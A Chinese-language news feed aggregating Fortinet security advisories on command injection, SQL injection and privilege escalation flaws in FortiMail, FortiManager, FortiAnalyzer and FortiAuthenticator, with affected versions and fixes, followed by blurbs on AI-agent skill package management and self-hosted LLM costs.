rcefortianalyzer参数注入 @forti-ir 原文 ↗

登录后即可利用的注入,波及邮件、录音与语音三条产品线。

PSIRT Improper neutralization of special elements used in an OS command in webmail Summary An improper neutralization of special elements used in an OS Command ('OS Command Injection') vulnerability [CWE-78] in FortiMail, FortiRecorder and FortiVoice may allow an authenticated attacker to execute unauthorized code or commands via specifically crafted HTTP requests. Version Affected Solution FortiMail 8.0 8.0.0 Upgrade to 8.0.1 or above FortiMail 7.6 7.6.0 through 7.6.4 Upgrade to 7.6.5 or above FortiMail 7.4 7.4.0 through 7.4.6 Upgrade to 7.4.7 or above FortiMail 7.2 7.2 all versions Migrate to a fixed release FortiRecorder 7.6 7.6.0 through 7.6.2 Upgrade to upcoming 7.6.3 or above FortiRecorder 7.2 7.2.0 through 7.2.12 Upgrade to upcoming 7.2.13 or above FortiRecorder 7.0 7.0.0 through 7.0.6 Upgrade to upcoming 7.0.7 or above FortiVoice 8.0 8.0.0 through 8.0.1 Upgrade to upcoming 8.0.2 or above FortiVoice 7.4 7.4.0 through 7.4.2 Upgrade to upcoming 7.4.3 or above FortiVoice 7.2 7.2.0 through 7.2.5 Upgrade to upcoming 7.2.6 or above FortiVoice 7.0 7.0.0 through 7.0.8 Upgrade to upcoming 7.0.9 or above Acknowledgement Internally discovered and reported by Sam Mckee of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-196 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 8.8 CVSSv3 Temporal Score 8.6 Impact Execute unauthorized code or commands CVE ID CVE-2026-126144 Download CVRF CSAF

rcewebmailfortimail @forti-ir 原文 ↗

管理和分析中枢的数据库注入,影响 7.4、7.6、8.0 三个分支。

PSIRT Improper neutralization of special elements used in an SQL command Summary An SQL Injection vulnerability [CWE-89] in FortiManager, FortiManager Cloud, FortiAnalyzer, FortiAnalyzer Cloud may allow an authenticated attacker to execute unauthorized SQL commands via specially crafted requests. Version Affected Solution FortiAnalyzer 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer 7.4 7.4.1 through 7.4.11 Upgrade to upcoming 7.4.12 or above FortiAnalyzer 7.2 7.2.1 through 7.2.12 Upgrade to upcoming 7.2.13 or above FortiAnalyzer Cloud 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer Cloud 7.4 7.4.1 through 7.4.11 Upgrade to upcoming 7.4.12 or above FortiAnalyzer Cloud 7.2 7.2.1 through 7.2.12 Upgrade to upcoming 7.2.13 or above FortiManager 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 7.2.0 through 7.2.12 Upgrade to 7.2.13 or above FortiManager Cloud 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager Cloud 7.4 7.4.1 through 7.4.11 Upgrade to upcoming 7.4.12 or above FortiManager Cloud 7.2 7.2.1 through 7.2.12 Upgrade to upcoming 7.2.13 or above Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-233 Published Date Nov 10, 2026 Component GUI Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.1 Impact Denial of service CVE ID CVE-2026-126213 Download CVRF CSAF

sqlifortimanagercve @forti-ir 原文 ↗

8.0 分支不受影响,但 7.6 分支仍在影响范围内,属于接口侧注入。

PSIRT Improper neutralization of special elements used in an SQL command Summary An improper neutralization of special elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] in FortiAnalyzer, FortiAnalyzer Cloud, FortiManager and FortiManager Cloud may allow an authenticated attacker to execute unauthorized code or commands via crafted JSON-RPC requests. Version Affected Solution FortiAnalyzer 8.0 Not affected Not Applicable FortiAnalyzer 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer 7.2 7.2.2 through 7.2.12 Migrate to a fixed release FortiAnalyzer Cloud 8.0 Not affected Not Applicable FortiAnalyzer Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer Cloud 7.2 7.2.2 through 7.2.12 Upgrade to 7.2.13 or above FortiManager 8.0 Not affected Not Applicable FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 7.2.2 through 7.2.12 Migrate to a fixed release FortiManager Cloud 8.0 Not affected Not Applicable FortiManager Cloud 7.6 7.6 all versions Migrate to a fixed release FortiManager Cloud 7.4 7.4 all versions Migrate to a fixed release FortiManager Cloud 7.2 7.2.2 through 7.2.13 Migrate to a fixed release Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-221 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 8.8 CVSSv3 Temporal Score 8.3 Impact Execute unauthorized code or commands CVE ID CVE-2026-126175 Download CVRF CSAF

sqlijson-rpcfortianalyzer @forti-ir 原文 ↗

认证库被注入意味着凭据与策略数据面临被篡改的风险。

PSIRT Improper neutralization of special elements used in an SQL command Summary An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')[CWE-89] in FortiAuthenticator may allow an authenticated attacker to execute unauthorized SQL commands on the underlying database. Version Affected Solution FortiAuthenticator 8.0 8.0.0 through 8.0.3 Upgrade to 8.0.4 or above FortiAuthenticator 6.6 6.6.0 through 6.6.10 Upgrade to 6.6.11 or above Acknowledgement Internally discovered and reported by Gwendal Guegniaud of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-256 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 8.8 Impact Execute unauthorized code or commands CVE ID CVE-2026-126241 Download CVRF CSAF

sqlifortiauthenticator认证 @forti-ir 原文 ↗

与同批次 FortiAuthenticator 漏洞叠加,在认证组件上扩大了攻击面。

PSIRT Improper neutralization of special elements used in an SQL command in collectoragent Summary An improper neutralization of special elements used in an sql command ('sql injection')[CWE-89] vulnerability may allow an authenticated attacker to execute unauthorized code or commands via http requests Version Affected Solution FortiAuthenticator 8.0 8.0.0 through 8.0.3 Upgrade to 8.0.4 or above FortiAuthenticator 6.6 6.6.0 through 6.6.10 Upgrade to 6.6.11 or above Acknowledgement Internally discovered and reported by Gwendal Guegniaud of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-266 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 8.3 Impact Execute unauthorized code or commands CVE ID CVE-2026-126252 Download CVRF CSAF

sqlifortiauthenticatorcollectoragent @forti-ir 原文 ↗

厂商自述由前沿 AI 模型辅助挖出,逻辑漏洞自动化发现趋势的实例。

PSIRT Improper privilege management Summary An Improper Privilege Management vulnerability[CWE-269] in FortiAuthenticator may allow an authenticated attacker to escalate privileges. Version Affected Solution FortiAuthenticator 8.0 8.0.0 through 8.0.3 Upgrade to 8.0.4 or above FortiAuthenticator 6.6 6.6.0 through 6.6.10 Upgrade to 6.6.11 or above Acknowledgement Internally discovered and reported by Gwendal Guegniaud of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-263 Published Date Nov 10, 2026 Component GUI Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.2 Impact Escalation of privilege CVE ID CVE-2026-126249 Download CVRF CSAF

提权cveai_agent @forti-ir 原文 ↗

JSON-RPC 接口权限边界不清,是审计 Fortinet 管理面 API 的具体样例。

PSIRT Improper privilege management Summary An improper privilege management vulnerability [CWE-269] in FortiAnalyzer, FortiAnalyzer Cloud, FortiManager and FortiManager Cloud may allow an authenticated privileged attacker to elevate their privileges via crafted JSON-RPC request. Version Affected Solution FortiAnalyzer 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer 7.6 7.6.1 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer 7.4 Not affected Not Applicable FortiAnalyzer 7.2 Not affected Not Applicable FortiAnalyzer Cloud 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer Cloud 7.6 7.6.1 through 7.6.8 Migrate to a fixed release FortiAnalyzer Cloud 7.4 Not affected Not Applicable FortiAnalyzer Cloud 7.2 Not affected Not Applicable FortiManager 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager 7.6 7.6.1 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 Not affected Not Applicable FortiManager 7.2 Not affected Not Applicable FortiManager Cloud 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager Cloud 7.6 7.6.1 through 7.6.8 Migrate to a fixed release FortiManager Cloud 7.4 Not affected Not Applicable FortiManager Cloud 7.2 Not affected Not Applicable Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-231 Published Date Nov 10, 2026 Component CLI Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.2 Impact Improper access control CVE ID CVE-2026-126211 Download CVRF CSAF

提权apicve @forti-ir 原文 ↗

敲在 AI agent 技能分发链路的校验缺口上,隐藏字符可绕过安检,具备供应链风险。

GitHub Dependabot 正式支持微软 Agent Package Manager(APM),试图用代码包管理器的套路解决跨仓库技能同步。本文拆解技能文件与传统代码包的四处底层差异,指出直接照搬 npm 加 Dependabot 会在工作树脱节、复杂语法跳过与隐藏字符安检绕过三处翻车,并对比 gh skill 给出可落地的三条维护方案。

供应链ai_agent工具 @yage-share 原文 ↗

大规模 LLM 自托管与成本结构的一手数据,可作内部推理基础设施容量规划参考。

从欧洲最大数字银行 Revolut 让 2000 名工程师切到 56 张 B200 自托管 GLM 的真实账本出发,剖析按 Token 计价器与固定成本包月池如何重塑工程师行为、为什么个人买订阅划算而千人企业必须自建算力池,以及固定容量池扛住并发的工程调优。

llm基础设施成本 @yage-share 原文 ↗